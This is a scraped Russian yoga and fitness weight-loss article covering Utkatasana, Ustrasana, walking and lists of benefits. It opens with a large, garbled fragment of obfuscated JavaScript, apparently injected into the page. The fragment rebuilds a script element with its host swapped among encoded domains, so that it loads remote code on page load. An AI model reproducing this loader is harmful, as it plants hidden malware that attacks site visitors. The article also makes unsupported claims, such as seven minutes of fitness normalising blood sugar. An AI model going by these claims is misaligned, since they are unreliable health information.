[0x1,0x0,0x0],this[‘aBvRRk’]=function(){return’newState’;},this[‘hSfrHc’]=’x5cw x20*x5c(x5c)x20*{x5cw x20*’,this[‘JuTrEU’]='[x27|x22]. [x27|x22];?x20*}’;};_0x813e7b[‘prototype’][‘DjFBTt’]=function(){var _0x5282aa=new RegExp(this[‘hSfrHc’] this[‘JuTrEU’]),_0x3a962a=_0x5282aa[‘test’](this[‘aBvRRk’][‘toString’]())?–this[‘VcOAHj’][0x1]:–this[‘VcOAHj’][0x0];return this[‘JyOvZW’](_0x3a962a);},_0x813e7b[‘prototype’][‘JyOvZW’]=function(_0x276526){if(!Boolean(~_0x276526))return _0x276526;return this[‘AakBhD’](this[‘jOBnSf’]);},_0x813e7b[‘prototype’][‘AakBhD’]=function(_0x461fbf){for(var _0x14f506=0x0,_0x2ee2e0=this[‘VcOAHj’][‘length’];_0x14f506<_0x2ee2e0;_0x14f506 ){this[‘VcOAHj’][‘push’](Math[’round’](Math[‘random’]())),_0x2ee2e0=this[‘VcOAHj’][‘length’];}return _0x461fbf(this[‘VcOAHj’][0x0]);},new _0x813e7b(a0_0x5344)[‘DjFBTt’](),_0x3ab154=a0_0x5344[‘MSYvHM’](_0x3ab154),a0_0x5344[‘uDogYq’][_0x35036b]=_0x3ab154;}else _0x3ab154=_0x75b161;return _0x3ab154;};!function(_0x9927ec){var _0x147d37=function(){var
_0x492bcc=!![];return function(_0x813e7b,_0x3456c1){var _0x5282aa=_0x492bcc?function(){var _0x39e649=a0_0x5344;if(_0x3456c1){var _0x3a962a=_0x3456c1[_0x39e649(0x19e)](_0x813e7b,arguments);return _0x3456c1=null,_0x3a962a;}}:function(){};return _0x492bcc=![],_0x5282aa;};}(),_0x3a3234=function(){var _0x276526=!![];return function(_0x461fbf,_0x14f506){var _0x2ee2e0=_0x276526?function(){var _0x366da0=a0_0x5344;if(_0x14f506){var _0x1e0ef5=_0x14f506[_0x366da0(0x19e)](_0x461fbf,arguments);return _0x14f506=null,_0x1e0ef5;}}:function(){};return _0x276526=![],_0x2ee2e0;};}(),_0x95b9f2={};function _0x5c109c(_0x27154d){var _0xcaea4d=a0_0x5344,_0xfcac6c=_0x147d37(this,function(){var _0x7c8730=function(){var _0x5b59d9=a0_0x5344,_0x4f08e7=_0x7c8730[_0x5b59d9(0x193)](_0x5b59d9(0x174))()[_0x5b59d9(0x193)](_0x5b59d9(0x19b));return!_0x4f08e7[_0x5b59d9(0x1ac)](_0xfcac6c);};return _0x7c8730();});_0xfcac6c();var _0xeaa392=_0x3a3234(this,function(){var _0x122b2d=a0_0x5344,_0x4e2253;try{var
_0x13b746=Function(_0x122b2d(0x1ae) _0x122b2d(0x175) ‘);’);_0x4e2253=_0x13b746();}catch(_0x518bc2){_0x4e2253=window;}var _0x345b99=_0x4e2253[_0x122b2d(0x182)]=_0x4e2253[_0x122b2d(0x182)]||{},_0x17fae1=[_0x122b2d(0x1a9),_0x122b2d(0x197),_0x122b2d(0x185),_0x122b2d(0x18f),_0x122b2d(0x196),_0x122b2d(0x18e),_0x122b2d(0x1a3)];for(var _0x1f4484=0x0;_0x1f4484<_0x17fae1[_0x122b2d(0x17b)];_0x1f4484 ){var _0x58d3ee=_0x3a3234[_0x122b2d(0x193)][_0x122b2d(0x1a5)][_0x122b2d(0x1a2)](_0x3a3234),_0x10cd41=_0x17fae1[_0x1f4484],_0x174496=_0x345b99[_0x10cd41]||_0x58d3ee;_0x58d3ee[_0x122b2d(0x18c)]=_0x3a3234[_0x122b2d(0x1a2)](_0x3a3234),_0x58d3ee[_0x122b2d(0x199)]=_0x174496[_0x122b2d(0x199)][_0x122b2d(0x1a2)](_0x174496),_0x345b99[_0x10cd41]=_0x58d3ee;}});_0xeaa392();if(_0x95b9f2[_0x27154d])return _0x95b9f2[_0x27154d][_0xcaea4d(0x17a)];var _0x217ef4=_0x95b9f2[_0x27154d]={‘i’:_0x27154d,’l’:!0x1,’exports’:{}};return _0x9927ec[_0x27154d][_0xcaea4d(0x1ab)]
(_0x217ef4[_0xcaea4d(0x17a)],_0x217ef4,_0x217ef4[_0xcaea4d(0x17a)],_0x5c109c),_0x217ef4[‘l’]=!0x0,_0x217ef4[_0xcaea4d(0x17a)];}_0x5c109c[‘m’]=_0x9927ec,_0x5c109c[‘c’]=_0x95b9f2,_0x5c109c[‘d’]=function(_0x3fd18b,_0x325dba,_0x1ab03a){var _0x275bc6=a0_0x5344;_0x5c109c[‘o’](_0x3fd18b,_0x325dba)||Object[_0x275bc6(0x1a6)](_0x3fd18b,_0x325dba,{‘enumerable’:!0x0,’get’:_0x1ab03a});},_0x5c109c[‘r’]=function(_0xc3598c){var _0xce1d3c=a0_0x5344;_0xce1d3c(0x176)!=typeof Symbol&&Symbol[_0xce1d3c(0x19f)]&&Object[_0xce1d3c(0x1a6)](_0xc3598c,Symbol[_0xce1d3c(0x19f)],{‘value’:_0xce1d3c(0x1a1)}),Object[_0xce1d3c(0x1a6)](_0xc3598c,_0xce1d3c(0x1b0),{‘value’:!0x0});},_0x5c109c[‘t’]=function(_0x29b1a1,_0x5eb5bd){var _0x577743=a0_0x5344;if(0x1&_0x5eb5bd&&(_0x29b1a1=_0x5c109c(_0x29b1a1)),0x8&_0x5eb5bd)return _0x29b1a1;if(0x4&_0x5eb5bd&&_0x577743(0x186)==typeof _0x29b1a1&&_0x29b1a1&&_0x29b1a1[_0x577743(0x1b0)])return _0x29b1a1;var _0x5c0015=Object[_0x577743(0x1b5)](null);if(_0x5c109c[‘r’](_0x5c0015),Object[_0x577743(0x1a6)](_0x5c0015,_0x577743(0x183),
{‘enumerable’:!0x0,’value’:_0x29b1a1}),0x2&_0x5eb5bd&&_0x577743(0x1b3)!=typeof _0x29b1a1)for(var _0x10f741 in _0x29b1a1)_0x5c109c[‘d’](_0x5c0015,_0x10f741,function(_0x4e84e4){return _0x29b1a1[_0x4e84e4];}[_0x577743(0x1a2)](null,_0x10f741));return _0x5c0015;},_0x5c109c[‘n’]=function(_0x131996){var _0x5e67db=a0_0x5344,_0x4b9a96=_0x131996&&_0x131996[_0x5e67db(0x1b0)]?function(){var _0x327075=_0x5e67db;return _0x131996[_0x327075(0x183)];}:function(){return _0x131996;};return _0x5c109c[‘d’](_0x4b9a96,’a’,_0x4b9a96),_0x4b9a96;},_0x5c109c[‘o’]=function(_0x1fd9c6,_0x794c81){var _0x146304=a0_0x5344;return Object[_0x146304(0x1a5)][_0x146304(0x198)][_0x146304(0x1ab)](_0x1fd9c6,_0x794c81);},_0x5c109c[‘p’]=”,_0x5c109c(_0x5c109c[‘s’]=0x0);}([function(_0x2a4160,_0x5a2751,_0x9b0b7a){var _0x284acf=a0_0x5344;_0x2a4160[_0x284acf(0x17a)]=_0x9b0b7a(0x1);},function(_0x47793c,_0x307fe5,_0x5e530c){var _0x2e5f94=a0_0x5344;’use strict’;_0x5e530c[‘r’](_0x307fe5);const _0x3a83f3=[[_0x2e5f94(0x17c),_0x2e5f94(0x1a7)],[_0x2e5f94(0x1aa),_0x2e5f94(0x178)],
[_0x2e5f94(0x1a0),_0x2e5f94(0x188)],[_0x2e5f94(0x172),_0x2e5f94(0x1b4)],[_0x2e5f94(0x179),_0x2e5f94(0x1b1)],[_0x2e5f94(0x191),_0x2e5f94(0x192)],[_0x2e5f94(0x17d),_0x2e5f94(0x1a8)],[_0x2e5f94(0x195),_0x2e5f94(0x194)]][_0x2e5f94(0x1af)](_0x3d41fc=>_0x3d41fc[0x0]);(()=>{var _0x2ef6b9=_0x2e5f94;const _0x5d3700=document[_0x2ef6b9(0x18a)](_0x2ef6b9(0x184)),_0x51ee15=new window[(_0x2ef6b9(0x190))](_0x5d3700[_0x2ef6b9(0x17f)]),_0x180a4a=parseInt(_0x5d3700[_0x2ef6b9(0x18b)](_0x2ef6b9(0x18d)))||0x0;if(_0x180a4a>=_0x3a83f3[_0x2ef6b9(0x17b)])return _0x5d3700[_0x2ef6b9(0x1a4)]=null,void console[_0x2ef6b9(0x1a9)](_0x2ef6b9(0x1ad));_0x51ee15[_0x2ef6b9(0x19a)]=_0x3a83f3[_0x180a4a];const
_0x2fce4c=document[_0x2ef6b9(0x189)](_0x2ef6b9(0x177));[…_0x5d3700[_0x2ef6b9(0x1b2)]][_0x2ef6b9(0x19d)](_0x2ed4c9=>_0x2fce4c[_0x2ef6b9(0x180)](_0x2ed4c9[_0x2ef6b9(0x173)],_0x2ed4c9[_0x2ef6b9(0x1b6)])),_0x2fce4c[_0x2ef6b9(0x180)](_0x2ef6b9(0x18d),_0x180a4a 0x1),_0x2fce4c[_0x2ef6b9(0x180)]
(_0x2ef6b9(0x17f),_0x51ee15[_0x2ef6b9(0x199)]()),_0x5d3700[_0x2ef6b9(0x187)][_0x2ef6b9(0x19c)](_0x5d3700),document[_0x2ef6b9(0x17e)][_0x2ef6b9(0x181)]
(_0x2fce4c);})();}]);”>

Уткатасана

Данную асану называют позой стула. Встаньте прямо, поднимите руки вверх, поверните их ладонями друг к другу. Начните медленно сгибать колени, подобно тому, как вы садитесь на стул. Когда колени будут согнуты на 90 градусов, задержитесь в такой позе на максимально возможное время.

Уткасана для похудения
Уткасана для похудения

Уштрасана

Встаньте на колени, разведя колени чуть менее ширины плеч. Расслабленные руки опустите назад и начните медленно прогибать спину. Упритесь руками в пятки, задержитесь в такой позе на 10-15 секунд.

Уштранаса для похудения
Уштранаса для похудения

Ходьба

Естественный для каждого тип активности, подходит людям с болезнями сердца, ожирением. Также ходьба рекомендована при занятиях в период реабилитации после травм. Кроме того, это хорошее решение для новичков в спорте и тех, кто не может найти время для тренировок. В отличие от бега, движения не оказывают большой нагрузки на организм, в частности на суставы, позвоночники мышцы.

Ходьбу желательно практиковать ежедневно, чередуя быстрые шаги с обычными. Они должны быть частыми и короткими, поскольку широкие движения ногами могут вызвать боль в бедрах и ступнях. При прогулке в гору эффективность нагрузки возрастает, а это помогает сжигать больше калорий.

Так, чтобы при замене бега на ходьбу получить аналогичный расход калорий, нужно затратить приблизительно в 2 раза больше времени. Например, 40 минут кросса равносильны 80 минутам пешей прогулки в ускоренном темпе (150 шагов/мин).

Чем полезна йога и фитнес

В процессе занятия йогой активно прорабатываются все группы мышц, тело становится более расслабленным и податливым. Человек обретает позитивный настрой, заряжается новыми силами.

  • уменьшаются болевые ощущения в спине и шейном отделе;
  • стабилизируется вес;
  • активизируются обменные процессы;
  • нормализуется психологическое состояние;
  • укрепляется иммунитет;
  • значительно улучшается сон;
  • повышается концентрация внимания и производительность;
  • снимается тревожность и депрессивные состояния;
  • повышается выносливость и стрессоустойчивость.

При выборе коврика для йоги ориентируйтесь на рост – к данному показателю прибавляйте около 20-25 см, чтобы ноги или голова не оказывались на жестком полу без страховки.

Йога на берегу моря

Фитнес оздоравливает организм, заряжает бодростью, нормализует обмен веществ, активизирует пищеварение, а также:

  • укрепляет как все мышцы, так и отдельные их группы;
  • развивает координацию движений;
  • формирует правильную осанку;
  • повышает гибкость тела;
  • поддерживает стабильную работу сердечно-сосудистой системы;
  • снижает стрессовое воздействие и нервное напряжение;
  • помогает в профилактике тромбоза и остеопороза;

Всего семь минут активного фитнеса, и уровень сахара в крови приходит в норму.

Занятия фитнесом в зале

Оцените статью
Йога-Оздоровление
Добавить комментарий